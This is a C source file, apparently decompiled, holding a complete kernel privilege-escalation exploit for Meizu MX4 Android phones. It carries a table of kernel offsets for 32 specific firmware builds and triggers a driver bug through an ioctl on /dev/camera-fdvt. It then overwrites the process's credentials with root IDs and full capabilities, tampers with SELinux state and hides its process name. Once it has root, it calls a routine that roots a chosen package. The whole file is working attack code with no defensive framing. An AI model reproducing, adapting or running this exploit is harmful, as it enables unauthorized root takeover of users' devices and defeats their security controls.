#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/futex.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/system_properties.h>
#include <sys/utsname.h>

#include <android/log.h>

#define LOG_TAG "[perml_68]"
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR  , LOG_TAG, __VA_ARGS__)

typedef enum __bool { false = 0, true = 1, } bool;
typedef unsigned int _DWORD;
typedef unsigned char _BYTE;
typedef unsigned int u4;

unsigned int orig_uid; // weak
unsigned int orig_euid; // weak
unsigned int orig_suid; // weak
unsigned int PADDING; // weak
unsigned int _dso_handle; // weak
unsigned int current_dev; // weak
unsigned int found_selinux_key; // weak
unsigned int sel_enforcing; // weak
unsigned int my_sgid; // weak
unsigned int my_euid; // weak
unsigned int my_egid; // weak
unsigned int my_suid; // weak
unsigned int my_uid; // weak
unsigned int my_gid; // weak

typedef struct _MX {
    char band[8];
    char model[32];
    char buildno[64];
    char version[64];
    unsigned int off168;
    unsigned int off172;
    unsigned int off176;
    unsigned int off180;
    unsigned int off184;
    unsigned int off188;
} MX, *pMX;

MX _data_start[] = {
    {"Meizu", "MX4", "3.10.35+", "#1 SMP PREEMPT Sat Sep 20 18:11:11 CST 2014", 0xc008b154, 0xc008ad90, 0xc0df1624, 0x10, 0x38, 0xf500b000}, \
    {"Meizu", "MX4", "3.10.35+", "#1 SMP PREEMPT Tue Oct 14 21:16:48 CST 2014", 0xc008b154, 0xc008ad90, 0xc0df20e4, 0x10, 0x38, 0xf500b000}, \
    {"Meizu", "MX4", "3.10.35+", "#1 SMP PREEMPT Wed Oct 22 17:21:50 CST 2014", 0xc008afc8, 0xc008ac04, 0xc0dfff64, 0x10, 0x38, 0xf500b000}, \
    {"Meizu", "MX4", "3.10.35+", "#1 SMP PREEMPT Fri Nov 7 20:24:14 CST 2014", 0xc008af9c, 0xc008abd8, 0xc0e01fa4, 0x10, 0x38, 0xf500b000}, \
    {"Meizu", "MX4", "3.10.35+", "#1 SMP PREEMPT Tue Dec 2 21:47:51 CST 2014", 0xc008ae84, 0xc008aac0, 0xc0e19fe4, 0x10, 0x38, 0xf500b000}, \
    {"Meizu", "MX4", "3.10.35+", "#1 SMP PREEMPT Wed Jan 7 15:01:15 CST 2015", 0xc008ae84, 0xc008aac0, 0xc0e19fe4, 0x10, 0x38, 0xf500b000}, \
    {"Meizu", "MX4", "3.10.35+", "#1 SMP PREEMPT Sat Nov 22 14:45:54 CST 2014", 0xc008af9c, 0xc008abd8, 0xc0e1c664, 0x10, 0x38, 0xf500b000}, \
    {"Meizu", "MX4", "3.10.35+", "#1 SMP PREEMPT Mon Nov 24 22:30:18 CST 2014", 0xc008afb4, 0xc008abf0, 0xc0e1c664, 0x10, 0x38, 0xf500b000}, \
    {"Meizu", "MX4", "3.10.35+", "#1 SMP PREEMPT Wed Dec 3 13:21:45 CST 2014", 0xc008aeb0, 0xc008aaec, 0xc0e1c6e4, 0x10, 0x38, 0xf500b000}, \
    {"Meizu", "MX4", "3.10.35+", "#1 SMP PREEMPT Tue Dec 9 09:35:15 CST 2014", 0xc008aeb8, 0xc008aaf4, 0xc0e1e964, 0x10, 0x38, 0xf500b000}, \
    {"Meizu", "MX4", "3.10.35+", "#1 SMP PREEMPT Fri Dec 19 14:31:45 CST 2014", 0xc008aeb8, 0xc008aaf4, 0xc0e1e964, 0x10, 0x38, 0xf500b000}, \
    {"Meizu", "MX4", "3.10.35+", "#1 SMP PREEMPT Mon Dec 22 21:15:35 CST 2014", 0xc008b038, 0xc008ac74, 0xc0e1ea64, 0x10, 0x38, 0xf500b000}, \
    {"Meizu", "MX4", "3.10.35+", "#1 SMP PREEMPT Tue Dec 30 11:23:07 CST 2014", 0xc008afe4, 0xc008ac20, 0xc0e1ea24, 0x10, 0x38, 0xf500b000}, \
    {"Meizu", "MX4", "3.10.35+", "#1 SMP PREEMPT Tue Jan 6 11:10:22 CST 2015", 0xc008aff4, 0xc008ac30, 0xc0e1ea24, 0x10, 0x38, 0xf500b000}, \
    {"Meizu", "MX4", "3.10.35+", "#1 SMP PREEMPT Wed Jan 14 09:53:07 CST 2015", 0xc008aff4, 0xc008ac30, 0xc0e1ea24, 0x10, 0x38, 0xf500b000}, \
    {"Meizu", "MX4", "3.10.35+", "#1 SMP PREEMPT Wed Jan 21 17:31:02 CST 2015", 0xc008afd4, 0xc008ac10, 0xc0e1e9a4, 0x10, 0x38, 0xf500b000}, \
    {"Meizu", "MX4", "3.10.35+", "#1 SMP PREEMPT Sat Sep 20 18:11:04 CST 2014", 0xc008b154, 0xc008ad90, 0xc0df1624, 0x10, 0x38, 0xf500b000}, \
    {"Meizu", "MX4", "3.10.35+", "#1 SMP PREEMPT Tue Oct 14 22:32:44 CST 2014", 0xc008b154, 0xc008ad90, 0xc0df20e4, 0x10, 0x38, 0xf500b000}, \
    {"Meizu", "MX4", "3.10.35+", "#1 SMP PREEMPT Wed Oct 22 18:16:27 CST 2014", 0xc008b188, 0xc008ac04, 0xc0dfff64, 0x10, 0x38, 0xf500b000}, \
    {"Meizu", "MX4", "3.10.35+", "#1 SMP PREEMPT Fri Nov 7 21:10:36 CST 2014", 0xc008af9c, 0xc008abd8, 0xc0e01fa4, 0x10, 0x38, 0xf500b000}, \
    {"Meizu", "MX4", "3.10.35+", "#1 SMP PREEMPT Tue Dec 2 20:24:41 CST 2014", 0xc008ae84, 0xc008aac0, 0xc0e19fe4, 0x10, 0x38, 0xf500b000}, \
    {"Meizu", "MX4", "3.10.35+", "#1 SMP PREEMPT Wed Jan 7 14:09:24 CST 2015", 0xc008ae84, 0xc008aac0, 0xc0e19fe4, 0x10, 0x38, 0xf500b000}, \
    {"Meizu", "MX4", "3.10.35+", "#1 SMP PREEMPT Sat Sep 20 18:15:35 CST 2014", 0xc008b154, 0xc008ad90, 0xc0df1624, 0x10, 0x38, 0xf500b000}, \
    {"Meizu", "MX4", "3.10.35+", "#1 SMP PREEMPT Tue Oct 14 20:53:35 CST 2014", 0xc008b154, 0xc008ad90, 0xc0df20e4, 0x10, 0x38, 0xf500b000}, \
    {"Meizu", "MX4", "3.10.35+", "#1 SMP PREEMPT Wed Oct 22 17:47:27 CST 2014", 0xc008afc8, 0xc008ac04, 0xc0dfff64, 0x10, 0x38, 0xf500b000}, \
    {"Meizu", "MX4", "3.10.35+", "#1 SMP PREEMPT Fri Nov 7 20:44:39 CST 2014", 0xc008af9c, 0xc008abd8, 0xc0e01fa4, 0x10, 0x38, 0xf500b000}, \
    {"Meizu", "MX4", "3.10.35+", "#1 SMP PREEMPT Tue Dec 2 21:10:07 CST 2014", 0xc008ae84, 0xc008aac0, 0xc0e19fe4, 0x10, 0x38, 0xf500b000}, \
    {"Meizu", "MX4", "3.10.35+", "#1 SMP PREEMPT Wed Jan 7 13:49:01 CST 2015", 0xc008ae84, 0xc008aac0, 0xc0e19fe4, 0x10, 0x38, 0xf500b000}, \
    {"Meizu", "MX4", "3.10.35+", "#1 SMP PREEMPT Fri Oct 3 16:38:12 CST 2014", 0xc008b154, 0xc008ad90, 0xc0df15a4, 0x10, 0x38, 0xf500b000}, \
    {"Meizu", "MX4", "3.10.35+", "#1 SMP PREEMPT Sat Oct 25 20:28:27 CST 2014", 0xc008afc8, 0xc008ac04, 0xc0dfff64, 0x10, 0x38, 0xf500b000}, \
    {"Meizu", "MX4", "3.10.35+", "#1 SMP PREEMPT Tue Dec 9 12:04:00 CST 2014", 0xc008ae84, 0xc008aac0, 0xc0e19fe4, 0x10, 0x38, 0xf500b000}, \
    {"Meizu", "MX4", "3.10.35+", "#1 SMP PREEMPT Wed Jan 7 13:17:43 CST 2015", 0xc008ae84, 0xc008aac0, 0xc0e19fe4, 0x10, 0x38, 0xf500b000}, \
};

int selinux_status()
{
    int v0; // r0@1
    int v1; // r8@1
    ssize_t v2; // r10@2
    int result; // r0@4
    int v4; // [sp+4h] [bp-3Ch]@1
    int buf[6]; // [sp+8h] [bp-38h]@1

    v4 = 0;
    v0 = open("/sys/fs/selinux/enforce", 0);
    v1 = v0;
    if ( v0 < 0
        || (buf[2] = 0, buf[3] = 0, buf[4] = 0, buf[0] = 0, buf[1] = 0, v2 = read(v0, buf, 4u), close(v1), v2 < 0)
        || sscanf((const char *)buf, "%d", &v4) == 1 )
    {
        result = v4;
    }
    else
    {
        result = 0;
    }
    return result;
}

FILE *found_symbol(const char *a1)
{
    const char *v1; // r10@1
    FILE *result; // r0@1
    FILE *v3; // r5@1
    int v4; // r11@2
    char v5[7]; // [sp+14h] [bp-234h]@2
    char v6; // [sp+1Bh] [bp-22Dh]@2
    char v7[512]; // [sp+1Ch] [bp-22Ch]@2
    int v8; // [sp+21Ch] [bp-2Ch]@1

    v1 = a1;
    result = fopen("/proc/kallsyms", "r");
    v3 = result;
    if ( result )
    {
        while ( 1 )
        {
            while ( 1 )
            {
                v4 = fscanf(v3, "%p %c %s\n", v5, &v6, v7);
                if ( v4 )
                    break;
                fscanf(v3, "%s\n", v7);
            }
            if ( !strcmp(v1, v7) )
                break;
            if ( v4 == -1 )
            {
                fclose(v3);
                result = 0;
                goto LABEL_6;
            }
        }
        fclose(v3);
        result = (FILE *)1;
    }
LABEL_6:
    return result;
}

signed int sub_3E2C()
{
    unsigned int v0; // r1@3
    signed int result; // r0@4
    unsigned int v2; // r1@8
    int v3; // r0@13
    int v4; // r1@13
    unsigned int v5; // r2@20
    int v6; // r1@22
    bool v7; // zf@22
    signed int v8; // r1@25
    unsigned int v9; // r3@35
    unsigned int v10; // [sp+2Ch] [bp-24h]@3

    if ( current_dev )
        *(_DWORD *)(*(_DWORD *)(current_dev + 180) + *(_DWORD *)(current_dev + 176) + *(_DWORD *)(current_dev + 184)) = 0;
    v0 = *(_DWORD *)((unsigned int)&v10 & 0xFFFFE000);
    v10 = (unsigned int)&v10 & 0xFFFFE000;
    if ( v0 > 0xC0000000
        || *(_DWORD *)(((unsigned int)&v10 & 0xFFFFE000) + 4) > 0xC0000000
        || *(_DWORD *)(((unsigned int)&v10 & 0xFFFFE000) + 8) > 0xC0000000
        || (v2 = *(_DWORD *)(((unsigned int)&v10 & 0xFFFFE000) + 0xC), v2 <= 0xBFFFFFFF)
        || *(_DWORD *)(((unsigned int)&v10 & 0xFFFFE000) + 0x10) <= 0xBFFFFFFF )
    {
        result = -1;
    }
    else if ( *(_DWORD *)v2 > 0xC0000000 || *(_DWORD *)(v2 + 4) != ((unsigned int)&v10 & 0xFFFFE000) )
    {
        result = -2;
    }
    else
    {
        v3 = *(_DWORD *)(((unsigned int)&v10 & 0xFFFFE000) + 0xC);
        v4 = v2 + 1024;
        while ( *(_BYTE *)v3 != 112 || *(_BYTE *)(v3 + 1) != 118 || *(_BYTE *)(v3 + 2) != 82 || *(_BYTE *)(v3 + 3) != 95 )
        {
            if ( v3 + 1 == v4 )
                return -3;
            ++v3;
        }
        v5 = *(_DWORD *)(v3 - 8);
        if ( v5 <= 0xBFFFFFFF )
            return -3;
        v6 = *(_DWORD *)(v5 + 12);
        v7 = v6 == 0x43736564;
        if ( v6 != 0x43736564 )
            v7 = v6 == 0x44656144;
        if ( v7 )
            v8 = 4;
        else
            v8 = 1;
        if ( *(_DWORD *)(v5 + 4 * v8) != my_uid
            || *(_DWORD *)(v5 + 4 * (v8 + 1)) != my_gid
            || *(_DWORD *)(v5 + 4 * (v8 + 2)) != my_suid
            || *(_DWORD *)(v5 + 4 * (v8 + 3)) != my_sgid
            || *(_DWORD *)(v5 + 4 * (v8 + 4)) != my_euid
            || *(_DWORD *)(v5 + 4 * (v8 + 5)) != my_egid )
        {
            result = -100;
        }
        else
        {
            *(_DWORD *)(v5 + 4 * (v8 + 2)) = 0;
            *(_DWORD *)(v5 + 4 * (v8 + 1)) = 0;
            *(_DWORD *)(v5 + 4 * v8) = 0;
            *(_DWORD *)(v5 + 4 * (v8 + 5)) = 0;
            *(_DWORD *)(v5 + 4 * (v8 + 4)) = 0;
            *(_DWORD *)(v5 + 4 * (v8 + 3)) = 0;
            *(_DWORD *)(v5 + 4 * (v8 + 7)) = 0;
            *(_DWORD *)(v5 + 4 * (v8 + 6)) = 0;
            *(_DWORD *)(v5 + 4 * (v8 + 10)) = -1;
            *(_DWORD *)(v5 + 4 * (v8 + 9)) = -1;
            *(_DWORD *)(v5 + 4 * (v8 + 12)) = -1;
            *(_DWORD *)(v5 + 4 * (v8 + 11)) = -1;
            *(_DWORD *)(v5 + 4 * (v8 + 14)) = -1;
            *(_DWORD *)(v5 + 4 * (v8 + 13)) = -1;
            *(_DWORD *)(v5 + 4 * (v8 + 16)) = -1;
            *(_DWORD *)(v5 + 4 * (v8 + 15)) = -1;
            if ( sel_enforcing && (v9 = *(_DWORD *)(v5 + 4 * (v8 + 4 * found_selinux_key + 17)), v9 > 0xC0000000) )
            {
                result = 1;
                *(_DWORD *)v9 = 1;
                *(_DWORD *)(v9 + 4) = 1;
            }
            else
            {
                result = 1;
            }
        }
    }
    return result;
}

int sub_1A60()
{
    int result; // r0@1
    int v1; // r4@1

    result = open("/dev/ptmx", 1);
    v1 = result;
    if ( result != -1 )
    {
        fsync(result);
        result = close(v1);
    }
    return result;
}

int fdvt_exploit(int a1, int a2, int a3, void (*a4)(void))
{
    int v4; // r6@1
    int v5; // r5@1
    void (*v6)(void); // r8@1
    int result; // r0@1
    int v8; // r7@1
    unsigned int v9[5]; // [sp+4h] [bp-2Ch]@1

    v9[1] = 0;
    v4 = a2;
    v9[2] = 0;
    v5 = a3;
    v6 = a4;
    v9[0] = 0;
    v9[4] = 0;
    v9[3] = 0;
    result = open("/dev/camera-fdvt", 0);

    //LOGE("open camera-fdvt %d\n", result);

    v8 = result;
    if ( result != -1 )
    {
        v9[2] = 1;
        v9[0] = (unsigned int)&v9[4];
        v9[4] = v4;
        v9[3] = v5;
        v9[1] = (unsigned int)&v9[3];
        if ( ioctl(result, 0x400C4E03u, v9) )
        {
            close(v8);
            result = -2;
        }
        else
        {
            if ( v6 )
                v6();
            close(v8);
            result = 0;
        }
    }
    return result;
}

int do_exploit(int a1)
{
    int v1; // r1@1

    v1 = current_dev;
    if ( current_dev )
        v1 = *(_DWORD *)(current_dev + 176)
        + *(_DWORD *)(current_dev + 180)
        + 1
        + *(_DWORD *)(current_dev + 184)
        + ~*(_DWORD *)(current_dev + 188);
    return fdvt_exploit(a1, v1, (int)sub_3E2C, (void (*)(void))sub_1A60);
}

extern int runrt(int uid, const char* pszPkgName, const char* pszRootName);

void do_root(int argc, const char **argv)
{
    //printff("runrt(%d, '%s', '%s')\n", atoi(argv[1]), argv[2], argv[3]);
    runrt( atoi(argv[1]), argv[2], argv[3] );
}

int main(int argc, const char **argv, const char **envp)
{
    int v3; // r4@1
    int result; // r0@2
    int v5; // r9@11
    size_t v6; // r8@14
    int v7; // r6@14
    size_t v8; // r5@17
    size_t v9; // r0@20
    int v10; // r0@21
    int v11; // r0@22
    int v12; // r0@26
    int v13; // r4@26
    int v14; // r0@28
    signed int v15; // r0@33
    int stat_loc; // [sp+24h] [bp-214h]@32
    struct utsname name; // [sp+28h] [bp-210h]@11
    char v18[92]; // [sp+1B0h] [bp-88h]@14
    int ret = 0;

    check_parent_pid();

    sel_enforcing = selinux_status();
    if ( !sel_enforcing )
        exit(0);
    getresuid(&my_uid, &my_euid, &my_suid);
    getresgid(&my_gid, &my_egid, &my_sgid);
    prctl(15, "pvR_timewQ", 0, 0, 0);
    if ( sel_enforcing )
        found_selinux_key = found_symbol("selinux_key_alloc");
    v5 = uname(&name);
    if ( !v5 ) {
        __system_property_get("ro.product.model", v18);
        v6 = strlen(v18);
        v7 = 0;
        while ( 1 )
        {
            if ( strlen(_data_start[v7].model) == v6 )
            {
                v8 = strlen(name.release);
                if ( v8 == strlen(_data_start[v7].buildno)
                    && !strncmp(v18, _data_start[v7].model, v6)
                    && !strncmp(name.release, _data_start[v7].buildno, v8) )
                {
                    v9 = strlen(_data_start[v7].version);
                    if ( !strncmp(name.version, _data_start[v7].version, v9) )
                        break;
                }
            }
            v5 = ++v7;
            if ( v7 == 32 ) {
                exit(1);
            }
        }
        v10 = (u4)&_data_start[v5];
        current_dev = v10;
        if ( v10 ) {
            v11 = do_exploit(v10);
            //LOGE("v11 %d\n", v11);
        }
    }

    //LOGE("[uid]%d\n", getuid());

    ret = (getuid() == 0);
    if(ret) {
        do_root(argc, argv);
    }
    return ret? 0:1;
}